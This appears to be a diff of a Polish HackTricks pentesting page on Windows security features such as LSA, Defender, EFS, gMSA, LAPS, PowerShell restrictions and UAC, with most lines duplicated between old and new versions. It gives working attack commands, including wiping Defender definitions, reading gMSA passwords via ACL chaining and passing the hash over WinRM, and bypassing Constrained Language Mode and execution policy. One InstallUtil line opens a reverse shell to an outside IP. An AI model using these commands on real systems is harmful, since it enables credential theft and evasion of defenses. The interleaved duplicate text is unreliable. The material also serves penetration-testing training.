**LSA** zarządza lokalną **polityką zabezpieczeń** (polityka haseł, uprawnienia użytkowników...), **uwierzytelnianiem**, **tokenami dostępu**...\
LSA będzie tą, która **sprawdzi** podane poświadczenia w pliku **SAM** (dla lokalnego logowania) i **porozmawia** z **kontrolerem domeny**, aby uwierzytelnić użytkownika domeny.
**Poświadczenia** (zahashowane) są **zapisywane** w **pamięci** tego podsystemu z powodów Single Sign-On.\
**LSA** zarządza lokalną **polityką bezpieczeństwa** (polityka haseł, uprawnienia użytkowników...), **uwierzytelnianiem**, **tokenami dostępu**...\
To **LSA** będzie **sprawdzać** podane poświadczenia w pliku **SAM** (dla lokalnego logowania) i **komunikować się** z **kontrolerem domeny**, aby uwierzytelnić użytkownika domenowego.
**Poświadczenia** są **zapisywane** wewnątrz **procesu LSASS**: bilety Kerberos, hasze NT i LM, łatwo odszyfrowane hasła.
**Poświadczenia** są **przechowywane** wewnątrz procesu **LSASS**: bilety Kerberos, hashe NT i LM, łatwo odszyfrowywane hasła.
### Sekrety LSA
### LSA secrets
LSA może zapisać na dysku niektóre poświadczenia:
LSA może zapisywać na dysku niektóre poświadczenia:
- Hasło konta komputera w Active Directory (niedostępny kontroler domeny).
- Hasło konta komputera w Active Directory (gdy kontroler domeny jest niedostępny).
- Hasła kont usług Windows
- Hasła dla zadań zaplanowanych
- Więcej (hasło aplikacji IIS...)
- Hasła zadań zaplanowanych
- Inne (hasła aplikacji IIS...)
### NTDS.dit
To baza danych Active Directory. Jest obecna tylko w kontrolerach domeny.
To jest baza danych Active Directory. Obecna tylko na kontrolerach domeny.
## Defender
[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) to program antywirusowy dostępny w Windows 10 i Windows 11 oraz w wersjach Windows Server. **Blokuje** powszechne narzędzia pentestingowe, takie jak **`WinPEAS`**. Istnieją jednak sposoby na **obejście tych zabezpieczeń**.
[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) to antywirus dostępny w Windows 10 i Windows 11 oraz we wersjach Windows Server. **Blokuje** popularne narzędzia do pentestingu takie jak **`WinPEAS`**. Istnieją jednak sposoby, by **obejść te zabezpieczenia**.
### Sprawdzenie
### Check
Aby sprawdzić **status** **Defendera**, możesz wykonać polecenie PS **`Get-MpComputerStatus`** (sprawdź wartość **`RealTimeProtectionEnabled`**, aby dowiedzieć się, czy jest aktywna):
Aby sprawdzić **status** **Defender**, możesz uruchomić cmdlet PS **`Get-MpComputerStatus`** (sprawdź wartość **`RealTimeProtectionEnabled`**, aby dowiedzieć się, czy jest aktywny):
<pre class="language-powershell"><code class="lang-powershell">PS C:\> Get-MpComputerStatus
@ -92,7 +92,7 @@ NISEngineVersion : 0.0.0.0
PSComputerName :
</code></pre>
Aby go wyliczyć, możesz również uruchomić:
Aby go wyenumerować, możesz również uruchomić:
```bash
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
wmic /namespace:\\root\securitycenter2 path antivirusproduct
@ -101,36 +101,36 @@ sc query windefend
#Delete all rules of Defender (useful for machines without internet access)
"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
```
## Encrypted File System (EFS)
## Szyfrowany system plików (EFS)
EFS zabezpiecza pliki poprzez szyfrowanie, wykorzystując **klucz symetryczny** znany jako **Klucz Szyfrowania Pliku (FEK)**. Klucz ten jest szyfrowany za pomocą **klucza publicznego** użytkownika i przechowywany w $EFS **alternatywnym strumieniu danych** zaszyfrowanego pliku. Gdy potrzebne jest odszyfrowanie, używany jest odpowiadający **klucz prywatny** cyfrowego certyfikatu użytkownika do odszyfrowania FEK ze strumienia $EFS. Więcej szczegółów można znaleźć [tutaj](https://en.wikipedia.org/wiki/Encrypting_File_System).
EFS zabezpiecza pliki przez szyfrowanie, wykorzystując **klucz symetryczny** znany jako **File Encryption Key (FEK)**. Ten klucz jest zaszyfrowany za pomocą **klucza publicznego** użytkownika i przechowywany w $EFS **alternative data stream** zaszyfrowanego pliku. Gdy wymagana jest deszyfracja, odpowiedni **klucz prywatny** certyfikatu cyfrowego użytkownika jest używany do odszyfrowania FEK ze strumienia $EFS. Więcej informacji znajduje się [tutaj](https://en.wikipedia.org/wiki/Encrypting_File_System).
**Scenariusze odszyfrowania bez inicjacji użytkownika** obejmują:
**Scenariusze deszyfracji bez udziału użytkownika** obejmują:
- Gdy pliki lub foldery są przenoszone do systemu plików, który nie obsługuje EFS, takiego jak [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), są automatycznie odszyfrowywane.
- Zaszyfrowane pliki przesyłane przez sieć za pomocą protokołu SMB/CIFS są odszyfrowywane przed transmisją.
- Gdy pliki lub foldery są przenoszone do systemu plików nieobsługującego EFS, takiego jak [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), są one automatycznie odszyfrowywane.
- Zaszyfrowane pliki wysyłane przez sieć za pomocą protokołu SMB/CIFS są odszyfrowywane przed transmisją.
Ta metoda szyfrowania umożliwia **przezroczysty dostęp** do zaszyfrowanych plików dla właściciela. Jednak samo zmienienie hasła właściciela i zalogowanie się nie pozwoli na odszyfrowanie.
Ta metoda szyfrowania umożliwia właścicielowi **transparentny dostęp** do zaszyfrowanych plików. Jednak samo zmienienie hasła właściciela i zalogowanie się nie umożliwi deszyfracji.
**Kluczowe informacje**:
Najważniejsze wnioski:
- EFS używa symetrycznego FEK, szyfrowanego kluczem publicznym użytkownika.
- Odszyfrowanie wykorzystuje klucz prywatny użytkownika do uzyskania dostępu do FEK.
- Automatyczne odszyfrowanie występuje w określonych warunkach, takich jak kopiowanie do FAT32 lub transmisja sieciowa.
- EFS używa symetrycznego FEK, zaszyfrowanego kluczem publicznym użytkownika.
- Do deszyfracji używany jest klucz prywatny użytkownika, by uzyskać dostęp do FEK.
- Automatyczna deszyfracja zachodzi w określonych warunkach, np. przy kopiowaniu na FAT32 lub przesyłaniu przez sieć.
- Zaszyfrowane pliki są dostępne dla właściciela bez dodatkowych kroków.
### Sprawdź informacje EFS
### Sprawdź informacje o EFS
Sprawdź, czy **użytkownik** **korzystał** z tej **usługi**, sprawdzając, czy istnieje ta ścieżka: `C:\users\<username>\appdata\roaming\Microsoft\Protect`
Sprawdź, czy **użytkownik** korzystał z tej **usługi**, sprawdzając, czy istnieje ta ścieżka: `C:\users\<username>\appdata\roaming\Microsoft\Protect`
Sprawdź **kto** ma **dostęp** do pliku, używając cipher /c \<file>\
Możesz również użyć `cipher /e` i `cipher /d` w folderze, aby **szyfrować** i **odszyfrowywać** wszystkie pliki
Sprawdź, **kto** ma **dostęp** do pliku używając cipher /c \<file\>
Możesz też użyć `cipher /e` i `cipher /d` wewnątrz folderu, aby **zaszyfrować** i **odszyfrować** wszystkie pliki
### Odszyfrowywanie plików EFS
#### Bycie systemem autoryzacyjnym
#### Uzyskanie uprawnień SYSTEM
Ta metoda wymaga, aby **użytkownik ofiary** **uruchamiał** **proces** wewnątrz hosta. Jeśli tak jest, używając sesji `meterpreter`, możesz podszyć się pod token procesu użytkownika (`impersonate_token` z `incognito`). Możesz też po prostu `migrate` do procesu użytkownika.
Ta metoda wymaga, żeby **użytkownik-ofiara** miał na hoście uruchomiony **proces**. Jeśli tak jest, używając sesji `meterpreter` możesz zaimpersonować token procesu tego użytkownika (`impersonate_token` z `incognito`). Alternatywnie możesz po prostu `migrate` do procesu użytkownika.
#### Znając hasło użytkownika
@ -139,54 +139,90 @@ Ta metoda wymaga, aby **użytkownik ofiary** **uruchamiał** **proces** wewnątr
https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files
{{#endref}}
## Group Managed Service Accounts (gMSA)
## Grupowe konta usług zarządzanych (gMSA)
Microsoft opracował **Group Managed Service Accounts (gMSA)**, aby uprościć zarządzanie kontami serwisowymi w infrastrukturach IT. W przeciwieństwie do tradycyjnych kont serwisowych, które często mają włączoną opcję "**Hasło nigdy nie wygasa**", gMSA oferują bardziej bezpieczne i zarządzalne rozwiązanie:
Microsoft opracował **Group Managed Service Accounts (gMSA)**, aby uprościć zarządzanie kontami usług w infrastrukturach IT. W przeciwieństwie do tradycyjnych kont usługowych, które często mają ustawienie "**Password never expire**", gMSA oferują bezpieczniejsze i łatwiejsze w zarządzaniu rozwiązanie:
- **Automatyczne zarządzanie hasłami**: gMSA używają złożonego, 240-znakowego hasła, które automatycznie zmienia się zgodnie z polityką domeny lub komputera. Proces ten jest obsługiwany przez usługę dystrybucji kluczy Microsoft (KDC), eliminując potrzebę ręcznych aktualizacji haseł.
- **Zwiększone bezpieczeństwo**: Te konta są odporne na zablokowania i nie mogą być używane do interaktywnych logowań, co zwiększa ich bezpieczeństwo.
- **Wsparcie dla wielu hostów**: gMSA mogą być udostępniane na wielu hostach, co czyni je idealnymi dla usług działających na wielu serwerach.
- **Możliwość zadań zaplanowanych**: W przeciwieństwie do zarządzanych kont serwisowych, gMSA wspierają uruchamianie zadań zaplanowanych.
- **Uproszczone zarządzanie SPN**: System automatycznie aktualizuje nazwę główną usługi (SPN) w przypadku zmian w szczegółach sAMaccount komputera lub nazwie DNS, co upraszcza zarządzanie SPN.
- **Automatyczne zarządzanie hasłem**: gMSA używają złożonego, 240-znakowego hasła, które automatycznie zmienia się zgodnie z polityką domeny lub komputera. Proces ten jest obsługiwany przez Key Distribution Service (KDC) Microsoftu, eliminując potrzebę ręcznych aktualizacji haseł.
- **Zwiększone bezpieczeństwo**: Konta te są odporne na blokady i nie mogą być używane do interaktywnych logowań, co podnosi ich bezpieczeństwo.
- **Obsługa wielu hostów**: gMSA mogą być współdzielone na wielu hostach, co czyni je idealnymi dla usług działających na wielu serwerach.
- **Możliwość uruchamiania zadań zaplanowanych**: W przeciwieństwie do managed service accounts, gMSA obsługują uruchamianie scheduled tasks.
- **Uproszczone zarządzanie SPN**: System automatycznie aktualizuje Service Principal Name (SPN), gdy następują zmiany w szczegółach sAMaccount komputera lub jego nazwie DNS, upraszczając zarządzanie SPN.
Hasła dla gMSA są przechowywane w właściwości LDAP _**msDS-ManagedPassword**_ i są automatycznie resetowane co 30 dni przez kontrolery domeny (DC). To hasło, zaszyfrowany blob danych znany jako [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), może być odzyskane tylko przez uprawnionych administratorów i serwery, na których gMSA są zainstalowane, zapewniając bezpieczne środowisko. Aby uzyskać dostęp do tych informacji, wymagane jest zabezpieczone połączenie, takie jak LDAPS, lub połączenie musi być uwierzytelnione za pomocą 'Sealing & Secure'.
Hasła dla gMSA są przechowywane we właściwości LDAP _**msDS-ManagedPassword**_ i są automatycznie resetowane co 30 dni przez Domain Controllers (DC). To hasło, zaszyfrowany blob danych znany jako [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), może zostać pobrane jedynie przez uprawnionych administratorów oraz serwery, na których gMSA są zainstalowane, co zapewnia bezpieczne środowisko. Aby uzyskać dostęp do tych informacji, wymagane jest zabezpieczone połączenie takie jak LDAPS, lub połączenie musi być uwierzytelnione z 'Sealing & Secure'.
![https://cube0x0.github.io/Relaying-for-gMSA/](../../images/asd1.png)
Możesz odczytać to hasło za pomocą [**GMSAPasswordReader**](https://github.com/rvazarkar/GMSAPasswordReader)**:**
To hasło można odczytać za pomocą [**GMSAPasswordReader**](https://github.com/rvazarkar/GMSAPasswordReader)**:**
```
/GMSAPasswordReader --AccountName jkohler
```
[**Znajdź więcej informacji w tym poście**](https://cube0x0.github.io/Relaying-for-gMSA/)
[**Find more info in this post**](https://cube0x0.github.io/Relaying-for-gMSA/)
Also, check this [web page](https://cube0x0.github.io/Relaying-for-gMSA/) about how to perform a **NTLM relay attack** to **read** the **password** of **gMSA**.
### Wykorzystywanie łańcuchowania ACL do odczytu zarządzanego hasła gMSA (GenericAll -> ReadGMSAPassword)
W wielu środowiskach użytkownicy o niskich uprawnieniach mogą pivotować do sekretów gMSA bez kompromitacji DC, wykorzystując błędnie skonfigurowane ACL obiektów:
- Grupa, którą możesz kontrolować (np. poprzez GenericAll/GenericWrite), ma przyznane `ReadGMSAPassword` względem gMSA.
- Dodając siebie do tej grupy, odziedziczasz prawo do odczytu blobu `msDS-ManagedPassword` gMSA przez LDAP i uzyskania użytecznych poświadczeń NTLM.
Typowy przebieg:
1) Odkryj ścieżkę za pomocą BloodHound i oznacz swoje foothold principals jako Owned. Szukaj krawędzi takich jak:
- GroupA GenericAll -> GroupB; GroupB ReadGMSAPassword -> gMSA
2) Dodaj siebie do pośredniej grupy, którą kontrolujesz (przykład z bloodyAD):
```bash
bloodyAD --host <DC.FQDN> -d <domain> -u <user> -p <pass> add groupMember <GroupWithReadGmsa> <user>
```
3) Odczytaj zarządzane hasło gMSA przez LDAP i uzyskaj hash NTLM. NetExec automatyzuje ekstrakcję `msDS-ManagedPassword` i konwersję na NTLM:
```bash
# Shows PrincipalsAllowedToReadPassword and computes NTLM automatically
netexec ldap <DC.FQDN> -u <user> -p <pass> --gmsa
# Account: mgtsvc$ NTLM: edac7f05cded0b410232b7466ec47d6f
```
4) Uwierzytelnij się jako gMSA, używając NTLM hash (no plaintext needed). Jeśli konto znajduje się w Remote Management Users, WinRM będzie działać bezpośrednio:
```bash
# SMB / WinRM as the gMSA using the NT hash
netexec smb <DC.FQDN> -u 'mgtsvc$' -H <NTLM>
netexec winrm <DC.FQDN> -u 'mgtsvc$' -H <NTLM>
```
Notatki:
- LDAP reads of `msDS-ManagedPassword` require sealing (e.g., LDAPS/sign+seal). Tools handle this automatically.
- gMSAs są często przydzielane lokalne uprawnienia, takie jak WinRM; sprawdź członkostwo w grupie (np. Remote Management Users), aby zaplanować lateral movement.
- Jeśli potrzebujesz tylko blobu, aby samodzielnie obliczyć NTLM, zobacz strukturę MSDS-MANAGEDPASSWORD_BLOB.
Sprawdź także tę [stronę internetową](https://cube0x0.github.io/Relaying-for-gMSA/) na temat przeprowadzania **ataku NTLM relay** w celu **odczytania** **hasła** **gMSA**.
## LAPS
**Rozwiązanie hasła lokalnego administratora (LAPS)**, dostępne do pobrania z [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), umożliwia zarządzanie hasłami lokalnych administratorów. Hasła te są **losowe**, unikalne i **regularnie zmieniane**, przechowywane centralnie w Active Directory. Dostęp do tych haseł jest ograniczony przez ACL do uprawnionych użytkowników. Przy wystarczających uprawnieniach możliwe jest odczytanie haseł lokalnych administratorów.
The **Local Administrator Password Solution (LAPS)**, available for download from [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), umożliwia zarządzanie hasłami lokalnego konta Administrator. Te hasła, które są **losowe**, unikatowe i **regularnie zmieniane**, są przechowywane centralnie w Active Directory. Dostęp do tych haseł jest ograniczony przez ACLs do uprawnionych użytkowników. Przy przydzieleniu wystarczających uprawnień możliwy jest odczyt lokalnych haseł administratora.
{{#ref}}
../active-directory-methodology/laps.md
{{#endref}}
## Tryb ograniczonego języka PowerShell
## PS Constrained Language Mode
PowerShell [**Tryb ograniczonego języka**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **ogranicza wiele funkcji** potrzebnych do skutecznego korzystania z PowerShell, takich jak blokowanie obiektów COM, zezwalanie tylko na zatwierdzone typy .NET, przepływy pracy oparte na XAML, klasy PowerShell i inne.
PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **ogranicza wiele funkcji** potrzebnych do efektywnego korzystania z PowerShell, takich jak blokowanie obiektów COM, zezwalanie tylko na zatwierdzone typy .NET, workflow oparte na XAML, klasy PowerShell i inne.
### **Sprawdź**
```bash
$ExecutionContext.SessionState.LanguageMode
#Values could be: FullLanguage or ConstrainedLanguage
```
### Ominięcie
### Omijanie
```bash
#Easy bypass
Powershell -version 2
```
W obecnym Windows ten bypass nie zadziała, ale możesz użyć [**PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\
**Aby go skompilować, możesz potrzebować** **dodać odniesienie** -> _Przeglądaj_ -> _Przeglądaj_ -> dodaj `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` i **zmień projekt na .Net4.5**.
W aktualnych wersjach Windows to obejście nie będzie działać, ale możesz użyć[ **PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\
**Aby to skompilować, może być konieczne** **to** _**Dodanie odwołania**_ -> _Przeglądaj_ -> _Przeglądaj_ -> dodaj `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` oraz **zmień projekt na .Net4.5**.
#### Bezpośredni bypass:
#### Direct bypass:
```bash
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U c:\temp\psby.exe
```
@ -194,11 +230,11 @@ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogTo
```bash
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe
```
Możesz użyć [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) lub [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick), aby **wykonać kod Powershell** w dowolnym procesie i obejść tryb ograniczony. Więcej informacji znajdziesz tutaj: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode).
Możesz użyć [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) lub [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) aby **execute Powershell** code w dowolnym procesie i obejść constrained mode. Więcej informacji: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode).
## Polityka wykonania PS
## PS Execution Policy
Domyślnie jest ustawiona na **ograniczoną.** Główne sposoby obejścia tej polityki:
Domyślnie jest ustawiona na **restricted.** Główne sposoby obejścia tej polityki:
```bash
1º Just copy and paste inside the interactive PS console
2º Read en Exec
@ -218,35 +254,42 @@ Powershell -command "Write-Host 'My voice is my passport, verify me.'"
9º Use EncodeCommand
$command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand
```
Więcej można znaleźć [tutaj](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/)
More can be found [here](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/)
## Interfejs dostawcy wsparcia bezpieczeństwa (SSPI)
## Interfejs Security Support Provider (SSPI)
Jest to API, które może być używane do uwierzytelniania użytkowników.
Jest to API, które można wykorzystać do uwierzytelniania użytkowników.
SSPI będzie odpowiedzialne za znalezienie odpowiedniego protokołu dla dwóch maszyn, które chcą się komunikować. Preferowaną metodą jest Kerberos. Następnie SSPI negocjuje, który protokół uwierzytelniania będzie używany, te protokoły uwierzytelniania nazywane są dostawcami wsparcia bezpieczeństwa (SSP), znajdują się w każdej maszynie z systemem Windows w postaci DLL, a obie maszyny muszą obsługiwać ten sam, aby mogły się komunikować.
SSPI odpowiada za znalezienie odpowiedniego protokołu dla dwóch maszyn, które chcą się komunikować. Preferowaną metodą jest Kerberos. Następnie SSPI negocjuje, który protokół uwierzytelniania zostanie użyty — te protokoły uwierzytelniania nazywane są Security Support Provider (SSP), znajdują się na każdej maszynie Windows w postaci DLL i obie maszyny muszą obsługiwać ten sam SSP, aby mogły się komunikować.
### Główne SSP
- **Kerberos**: Preferowany
- %windir%\Windows\System32\kerberos.dll
- **NTLMv1** i **NTLMv2**: Powody zgodności
- **NTLMv1** i **NTLMv2**: Ze względów zgodności
- %windir%\Windows\System32\msv1_0.dll
- **Digest**: Serwery WWW i LDAP, hasło w postaci hasha MD5
- **Digest**: Serwery WWW i LDAP, hasło w postaci skrótu MD5
- %windir%\Windows\System32\Wdigest.dll
- **Schannel**: SSL i TLS
- %windir%\Windows\System32\Schannel.dll
- **Negotiate**: Używane do negocjacji protokołu do użycia (Kerberos lub NTLM, przy czym Kerberos jest domyślnym)
- **Negotiate**: Służy do negocjacji protokołu do użycia (Kerberos lub NTLM, domyślnie Kerberos)
- %windir%\Windows\System32\lsasrv.dll
#### Negocjacja może oferować kilka metod lub tylko jedną.
#### Negocjacja może zaoferować kilka metod lub tylko jedną.
## UAC - Kontrola konta użytkownika
## UAC - User Account Control
[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) to funkcja, która umożliwia **wyświetlanie monitów o zgodę dla działań wymagających podniesionych uprawnień**.
[Kontrola konta użytkownika (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) to funkcja, która umożliwia **wyświetlenie monitu o zgodę na podwyższone działania**.
{{#ref}}
uac-user-account-control.md
{{#endref}}
## References
- [Relaying for gMSA cube0x0](https://cube0x0.github.io/Relaying-for-gMSA/)
- [GMSAPasswordReader](https://github.com/rvazarkar/GMSAPasswordReader)
- [HTB Sendai 0xdf: gMSA via rights chaining to WinRM](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html)
{{#include ../../banners/hacktricks-training.md}}